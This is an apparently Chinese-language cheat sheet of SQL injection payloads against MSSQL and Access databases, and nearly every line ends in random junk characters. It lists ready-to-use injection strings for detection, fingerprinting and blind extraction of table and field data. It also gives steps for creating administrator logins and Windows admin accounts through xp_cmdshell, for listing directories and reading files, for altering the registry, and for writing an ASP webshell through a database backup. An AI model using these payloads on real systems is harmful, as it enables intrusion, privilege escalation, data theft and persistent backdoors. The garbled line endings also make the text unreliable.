1.判断是否有注入;and 1=1 ;and 1=2 L.9@rwfI
2.初步判断是否是mssql ;and user>0 yqb$,$
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3.注入参数是字符'and [查询条件] and ''=' 22d>\u+c
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' GOCe&?
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5.判断数据库系统 Kr<a6BEv5
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;and (select count(*) from sysobjects)>0 mssql 'eQ*?a43
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;and (select count(*) from msysobjects)>0 access 9D5v0Qi
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ,=u!hg
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 VyIM ,glu
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 *6(/5V
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9.(1)猜字段的ascii值(access) V[*<^%
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 RLVz "=
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(2)猜字段的ascii值(mssql) +nFC&~q
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 5'rP-z~
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10.测试权限结构(mssql) AhVV
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- R4f_Kio
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- .A6Jj4`-
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |dqAT .
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- )k 6z
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Cm6%wAzC
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- VPDd*32HC
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;and 1=(select IS_MEMBER('db_owner'));-- -
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11.添加mssql和系统的帐户 V*+Z=Y'
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;exec master.dbo.sp_addlogin username;-- |/RZGC4
;exec master.dbo.sp_password null,username,password;-- u$V@akk
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;exec master.dbo.sp_addsrvrolemember sysadmin username;--
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;exec master.dbo.xp_cmdshell 'net user username password Y7@$#/1
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- HqKD]1
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12.(1)遍历目录 7,D6RP(b
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;create table dirs(paths varchar(100), id int) FJ
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;insert dirs exec master.dbo.xp_dirtree 'c:\' .5YW>P V
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;and (select top 1 paths from dirs)>0 5m a(~5
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ~i9'9PHX@
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(2)遍历目录 \QMRuR.
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^U{SUWl
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Q\GSX RP
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 j?oh~7Ki
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 s% (|z
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5|bc*iqU
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13.mssql中的存储过程 5>"X?U}He
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xp_regenumvalues 注册表根键, 子键 ^@AIXBe
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;{K/W.R
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xp_regread 根键,子键,键值名 2VA mL7)
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;exec xp_regread DH{^9HK
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 g/e2t=qP
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xp_regwrite 根键,子键, 值名, 值类型, 值 tFYod#
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 v?qU/
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 `l`)Cs;a
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xp_regdeletevalue 根键,子键,值名 !6:X]
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 rIZ^ix-N
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 -jQMh
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14.mssql的backup创建webshell f"g-Hbl5
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create table cmd(str image); QcG-/_,'}
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insert into cmd(str) values ('');
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backup database model to disk='c:\l.asp'; "jMSF@lr
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15.mssql内置函数 a\?-uJ+
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;and (select @@version)>0 获得Windows的版本号 zKX|m-i|2
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Ht=h9}x"g
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;and (select user_name())>0 爆当前系统的连接用户 `hE@S |4
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;and (select db_name())>0 得到当前连接的数据库 ,"EgYd8-'
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16.简洁的webshell =E10j.r
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use model "`&1"*
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create table cmd(str image); .sR=Mf7 T
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insert into cmd(str) values (''); EQ>] ~
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backup database model to disk='g:\wwwtest\l.asp';